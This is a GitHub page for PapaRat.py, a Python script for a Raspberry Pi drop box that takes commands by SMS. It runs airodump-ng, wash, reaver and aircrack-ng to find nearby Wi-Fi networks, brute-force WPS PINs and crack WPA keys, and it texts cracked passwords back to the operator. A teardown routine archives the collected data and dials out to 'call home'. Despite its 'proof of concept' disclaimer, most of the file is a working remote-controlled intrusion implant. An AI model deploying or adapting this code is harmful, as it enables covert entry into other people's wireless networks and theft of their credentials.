-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathPapaRat.py
618 lines (531 loc) · 20.7 KB
/
PapaRat.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
"""
Copyright (C) 2017 Cosmin Ștefănică
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""
import serial
import time
import subprocess
import signal
import os
import binascii
import datetime
def print_license():
print( "PapaRat.py Copyright (C) 2018 RatPack.inc\n"+
"This program comes with ABSOLUTELY NO WARRANTY.\n"+
"This is free software, and you are welcome to redistribute it\n"+
"under certain conditions. This program's intended use is strictly\n"+
"as a proof of concept and shall not be under any circumstances used\n"+
"to cause any damage or harm to any third parties.\n"+
"FOR TESTING PURPOSES ONLY!")
def test_serial_interface():
return False
def log():
return False
def bash_roulette():
return False
def authenticate(sent_message=''):
print 'authenticate started'
return True
def chunks(text, length):
#Produce `length`-character chunks from `text`.
for start in range(0, len(text), length):
yield text[start:start+length]
def deauth(interface='wlan1mon', channel='1'):
print 'deauth started'
return -1
def send_text(text, path='/dev/ttyUSB1'):
number='insert your number here'
print len(text)
for chunk in chunks(text,130):
ser = serial.Serial(path, baudrate=115200, dsrdtr=True, rtscts=True, timeout=1)
# set text mode
ser.write('AT+CMGF=%d\r' % 1)
time.sleep(1)
ser.readlines()
# set encoding
ser.write('AT+CSCS="GSM"\r')
time.sleep(1)
ser.readlines()
# set number
ser.write('AT+CMGS="%s"\r' % number)
time.sleep(1)
ser.readlines()
# send message
ser.write(chunk.encode("utf-8", "ignore"))
ser.write('\x1a')
escapeVariable = False
line=ser.readlines()
while escapeVariable is not True:
print line
for item in line:
if "+CMGS: " in item:
escapeVariable = True
line=ser.readlines()
ser.close()
time.sleep(1)
def receive_text(path='/dev/ttyUSB1'):
# Start serial comms
modem = serial.Serial(path, baudrate=115200, dsrdtr=True, rtscts=True, timeout=1)
# Set text mode
modem.write('AT+CMGF=1\r')
# Request unread SMSes
modem.write('AT+CMGL="REC UNREAD"\r')
# Read output
response = modem.readlines()
# Close connection
modem.close()
print str(response).strip()
if str(response[-3]).strip() != 'OK':
return str(response[-3]).strip()
else:
return 'CONTINUE'
def purge_texts(path='/dev/ttyUSB1'):
# Start serial comms
modem = serial.Serial(path, baudrate=115200, dsrdtr=True, rtscts=True, timeout=1)
# Set text mode
modem.write('AT+CMGF=1\r')
# Delete all SMSes
modem.write('AT+CMGD=0,3\r')
# Ensure that unsent SMSes are purged, just to be sure.
modem.write('\x1a')
# Read output
response = modem.readlines()
# Close connection
modem.close()
print response
def parse_command(command=''):
parsedCommand = str(command).split(' ')
returnedCommand = { 'interface':'',
'bssid':'',
'timeout':'',
'channel':'',
'output_format':'',
'source_file':'',
'output_file':'',
'continue_reaver':False,
'wps_scan':False,
'verbose':False,
'monitor':False,
'open_networks':False}
for item in parsedCommand:
if item == '-i':
index = parsedCommand.index(item)
returnedCommand['interface'] = parsedCommand[index+1]
elif item == '-b':
index = parsedCommand.index(item)
returnedCommand['bssid'] = parsedCommand[index+1]
elif item == '-t':
index = parsedCommand.index(item)
returnedCommand['timeout'] = int(parsedCommand[index+1])
elif item == '-c':
index = parsedCommand.index(item)
returnedCommand['channel'] = parsedCommand[index+1]
elif item == '-f':
index = parsedCommand.index(item)
returnedCommand['output_format'] = parsedCommand[index+1]
elif item == '-s':
index = parsedCommand.index(item)
returnedCommand['source_file'] = parsedCommand[index+1]
elif item == '-o':
index = parsedCommand.index(item)
returnedCommand['output_file'] = parsedCommand[index+1]
elif item == '-wps':
returnedCommand['wps_scan'] = True
elif item == '-vv':
returnedCommand['verbose'] = True
elif item == '-stop':
returnedCommand['monitor'] = False
elif item == '-start':
returnedCommand['monitor'] = True
elif item == '-cr':
returnedCommand['continue_reaver'] = True
elif item == '-open':
returnedCommand['open_networks'] = True
#print returnedCommand
return returnedCommand
def process_dump(extension='.csv', source_file='AUTOwalker_Airodump'):
filename = source_file + '-01' + extension
dumpFile = open(filename,'r')
splitLines = []
lineDictionary = {'BSSID':'',
'First time seen':'',
'Last time seen':'',
'Channel':'',
'Speed':'',
'Privacy':'',
'Cypher':'',
'Auth':'',
'Power':'',
'#beacons':'',
'#IVS':'',
'lanIP':'',
'ID-Length':'',
'ESSID':'',
'key':''}
# Read top two lines to move the cursor down
dumpFile.readline()
dumpFile.readline()
for line in dumpFile:
if str(line) in ['\n', '\r\n']:
break
singleLine = str(line).split(',')
lineDictionary['BSSID'] = singleLine[0].strip()
lineDictionary['First time seen'] = singleLine[1].strip()
lineDictionary['Last time seen'] = singleLine[2].strip()
lineDictionary['Channel'] = singleLine[3].strip()
lineDictionary['Speed'] = singleLine[4].strip()
lineDictionary['Privacy'] = singleLine[5].strip()
lineDictionary['Cypher'] = singleLine[6].strip()
lineDictionary['Auth'] = singleLine[7].strip()
lineDictionary['Power'] = singleLine[8].strip()
lineDictionary['#beacons'] = singleLine[9].strip()
lineDictionary['#IVS'] = singleLine[10].strip()
lineDictionary['lanIP'] = singleLine[11].strip()
lineDictionary['ID-Length'] = singleLine[12].strip()
lineDictionary['ESSID'] = singleLine[13].strip()
lineDictionary['key'] = singleLine[14].strip()
if lineDictionary['Power'] != '-1':
splitLines.append(lineDictionary.copy())
splitLines = sorted(splitLines, key=lambda k: k['Power'], reverse=False)
dumpFile.close()
return splitLines[:15]
def process_wash(airodumpFileOutput):
source_file='AUTOwalker_wash'
filename = source_file
dumpFile = open(filename,'r')
splitLines = []
lineDictionary = {'BSSID':'',
'Channel':'',
'RSSI':'',
'WPS Version':'',
'Locked':'',
'ESSID':''}
dumpFile.readline()
dumpFile.readline()
for line in dumpFile:
if str(line) in ['\n', '\r\n']:
break
singleLine = str(line).split(' ')
lineDictionary['BSSID'] = singleLine[0].strip()
lineDictionary['Channel'] = singleLine[1].strip()
lineDictionary['RSSI'] = singleLine[3].strip()
lineDictionary['WPS Version'] = singleLine[4].strip()
lineDictionary['Locked'] = singleLine[6].strip()
lineDictionary['ESSID'] = singleLine[8].strip()
if lineDictionary['Locked'] != 'Yes':
splitLines.append(lineDictionary.copy())
builtMessage = ''
for dump_ID in airodumpFileOutput:
for wash_ID in splitLines:
if dump_ID['BSSID'] == wash_ID['BSSID']:
builtMessage += dump_ID['ESSID']
builtMessage += ' '
builtMessage += dump_ID['BSSID']
builtMessage += ' '
builtMessage += dump_ID['Power']
builtMessage += '|'
dumpFile.close()
return builtMessage
def process_reaver():
source_file='AUTOwalker_reaver'
dumpFile = open(source_file, 'r')
for line in dumpFile:
if 'WARNING: Detected AP rate limiting' in line:
#'Limited rate, abort crack'
dumpFile.close()
return -1
if 'seconds/pin' in line:
print line
processedLine = str(line).split(' ')[6]
print processedLine
processedLine = processedLine[1:]
dumpFile.close()
print processedLine
return int(processedLine)
if 'WPA PSK' in line:
processedLine = str(line).split(':')
#send_text(line)
#Send it as a text message
dumpFile.close()
return -2
def process_crack(source_file=''):
filename = source_file + ''
dumpFile = open(filename, 'r')
password = dumpFile.readline() #return this for message
dumpFile.close()
return password
def iwconfig(interface='wlan1'):
print 'iwconfig started'
process = subprocess.Popen(["sudo","iwconfig"],
stdout=subprocess.PIPE,
stdin=subprocess.PIPE,
universal_newlines=True)
(output, error) = process.communicate()
if interface in str(output):
return True
else:
return False
def airmon_ng(interface='wlan1', timeout=30, monitor=True):
print 'airmon started'
if monitor is True:
process = subprocess.Popen(["sudo", "airmon-ng", "start", interface],
stdout=subprocess.PIPE,
stdin=subprocess.PIPE,
universal_newlines=True)
elif monitor is False:
process = subprocess.Popen(["sudo", "airmon-ng", "stop", interface],
stdout=subprocess.PIPE,
stdin=subprocess.PIPE,
universal_newlines=True)
(output, error) = process.communicate()
#print(output)
return -1
def airodump_ng(interface='wlan1mon', channel='', output_file='AUTOwalker_Airodump', output_format = 'csv', timeout=1, open_flag = False):
print('airodump started on '+interface)
os.system('sudo mv AUTOwalker_Airodump-01.'+output_format+' Dumps/Airodump_'+str(datetime.datetime.now()).replace(" ","")+'.'+output_format)
time.sleep(5)
parameterList = ['sudo', 'airodump-ng', interface]
if channel != '':
parameterList.append('-c')
parameterList.append(channel)
if open_flag:
parameterList.append('--encrypt')
parameterList.append('OPN')
parameterList.append('--write')
parameterList.append(output_file)
parameterList.append('--output-format')
parameterList.append(output_format)
parameterList.append('--wps')
parameterList.append('--ignore-negative-one')
print parameterList
process = subprocess.Popen(parameterList,
stdout=subprocess.PIPE,
stdin=subprocess.PIPE,
universal_newlines=True)
time.sleep(timeout)
os.system('sudo killall airodump-ng')
return -1
def aircrack_ng(bssid='', output_file='', source_file='', timeout=30):
parameterList = ['sudo', 'aircrack-ng']
if bssid != '':
parameterList.append('-b')
parameterList.append(bssid)
if output_file != '':
parameterList.append('-l')
parameterList.append(output_file)
if source_file != '':
parameterList.append(source_file)
else:
return False
print 'aircrack started'
print parameterList
process = subprocess.Popen(parameterList,
stdout=subprocess.PIPE,
stdin=subprocess.PIPE,
universal_newlines=True)
process.wait()
return True
def wash(interface='wlan1mon', timeout=30):
if interface == '':
return False
print 'wash started'
output_file = 'AUTOwalker_wash'
process = subprocess.Popen(['sudo',
'wash',
'-i', interface,
'-o', output_file,
'-C'],
stdout=subprocess.PIPE,
stdin=subprocess.PIPE,
universal_newlines=True)
time.sleep(int(timeout))
os.system('sudo killall wash')
return True
def reaver(interface='wlan1mon', bssid='', timeout=30, continue_crack=False):
if bssid == '':
return False
if interface == '':
return False
print 'reaver started'
sessionFileName = '/usr/local/etc/reaver/' + bssid.replace(':','') + '.wpc'
os.system('rm AUTOwalker_reaver')
if continue_crack == True:
process = subprocess.Popen(['sudo',
'reaver',
'-i', interface,
'-b', bssid,
'-s', sessionFileName,
'-o', 'AUTOwalker_reaver'],
stdout=subprocess.PIPE,
stdin=subprocess.PIPE,
universal_newlines=True)
elif continue_crack == False:
os.system('rm '+sessionFileName)
process = subprocess.Popen(['sudo',
'reaver',
'-i', interface,
'-b', bssid,
'-vv',
'-o', 'AUTOwalker_reaver'],
stdout=subprocess.PIPE,
stdin=subprocess.PIPE,
universal_newlines=True)
time.sleep(timeout/2)
process_reaver() #optimize this, pass the file handler along, to only read where you left off.
time.sleep(timeout/2)
returnCode = process_reaver()
if returnCode == -1:
process.send_signal(signal.SIGINT)
print('limited')
send_text('ABORTED: Rate Limited for '+bssid)
#return -1
#Send a text message that the AP is limited, crack is not viable
elif returnCode >= 10:
process.send_signal(signal.SIGINT)
print('takestoolong')
send_text('ABORTED: Takes too long on '+bssid)
#return -11
#Send a text message that the pins take a long time. Continuation of crack is possible.
elif returnCode == -2:
process.send_signal(signal.SIGINT)
print('itworks')
return True
def teardown_rat():
print 'Calling home and tearing down!'
wvdialConfig = 'call_home'
wvdialNetworkConfig = 'network'
callHome = ['sudo', 'screen', '-d', '-m', '-t', wvdialConfig, 'wvdial', wvdialNetworkConfig]
createTarball = ['sudo', 'tar', '-czf', '/home/pi/PapaRat_drop.tar.gz','/home/pi/Python_scripts/']
process = subprocess.Popen( createTarball,
stdout=subprocess.PIPE,
stdin=subprocess.PIPE,
universal_newlines=True)
process.wait()
process = subprocess.Popen( callHome,
stdout=subprocess.PIPE,
stdin=subprocess.PIPE,
universal_newlines=True)
process.wait()
def self_destruct():
runBashRoulette = ['sudo', 'sh', 'bashRoulette.sh']
"""
process = subprocess.Popen( runBashRoulette,
stdout=subprocess.PIPE,
stdin=subprocess.PIPE,
universal_newlines=True)
process.wait()
"""
def control_loop():
while(1):
try:
received_text = receive_text()
except IndexError:
print "Serial communication error, retrying in 10"
received_text='CONTINUE'
#print received_text
if 'exit' in received_text:
purge_texts()
break
elif 'authenticate' in received_text:
authenticate(received_text)
elif 'iwconfig' in received_text:
argumentsDict = parse_command(received_text)
status = iwconfig(interface = argumentsDict['interface'])
if status == True:
send_text(argumentsDict['interface']+' is available!')
purge_texts()
else:
send_text(argumentsDict['interface']+' is not available!')
purge_texts()
elif 'airmon' in received_text:
argumentsDict = parse_command(received_text)
if iwconfig(interface = argumentsDict['interface']) is True:
time.sleep(1)
airmon_ng( interface = argumentsDict['interface'],
monitor = argumentsDict['monitor'])
if argumentsDict['monitor'] is True:
if iwconfig(interface = argumentsDict['interface']+'mon') is True:
send_text('Monitor mode active on '+argumentsDict['interface']+'mon')
else:
send_text('Something went wrong activating monitor on '+argumentsDict['interface']+'! Try again!')
else:
if iwconfig(interface = argumentsDict['interface']) is True:
send_text('Monitor mode deactivated for '+argumentsDict['interface'])
else:
send_text('Something went wrong deactivating monitor on '+argumentsDict['interface']+'! Try again!')
elif 'airodump' in received_text:
argumentsDict = parse_command(received_text)
AccesPointList = []
APString = ""
if iwconfig(interface = argumentsDict['interface']) is True:
airodump_ng(interface = argumentsDict['interface'],
timeout = argumentsDict['timeout'],
open_flag = argumentsDict['open_networks'])
time.sleep(1)
AccesPointList = process_dump()
for item in AccesPointList[:5]:
APString += str(item['ESSID'])
APString += ' '
APString += str(item['BSSID'])
APString += ' '
APString += str(item['Channel'])
APString += '\n'
#print(APString)
send_text(APString)
elif 'aircrack' in received_text:
argumentsDict = parse_command(received_text)
aircrack_ng(bssid = argumentsDict['bssid'],
source_file = argumentsDict['source_file'],
output_file = argumentsDict['output_file'])
password = process_crack(argumentsDict['output_file'])
send_text(password)
elif 'wash' in received_text:
argumentsDict = parse_command(received_text)
wash(interface = argumentsDict['interface'], timeout = argumentsDict['timeout'])
airodump_ng(interface = argumentsDict['interface'], timeout = argumentsDict['timeout'])
time.sleep(1)
dumpList = process_dump()
message = process_wash(airodumpFileOutput = dumpList)
#print(message)
send_text(message)
elif 'reaver' in received_text:
argumentsDict = parse_command(received_text)
reaver( interface = argumentsDict['interface'],
timeout = argumentsDict['timeout'],
continue_crack = argumentsDict['continue_reaver'])
elif 'deauth' in received_text:
argumentsDict = parse_command(received_text)
deauth()
elif 'teardown' in received_text:
argumentsDict = parse_command(received_text)
teardown_rat()
send_text("May the odds be ever in your favor!")
purge_texts()
self_destruct()
break
purge_texts()
time.sleep(10)
return -1
def main():
os.chdir("/home/pi/Python_scripts/")
print_license()
time.sleep(10)
send_text("PapaRat woke up!")
control_loop()
#airodump_ng()
if __name__ == "__main__":
main()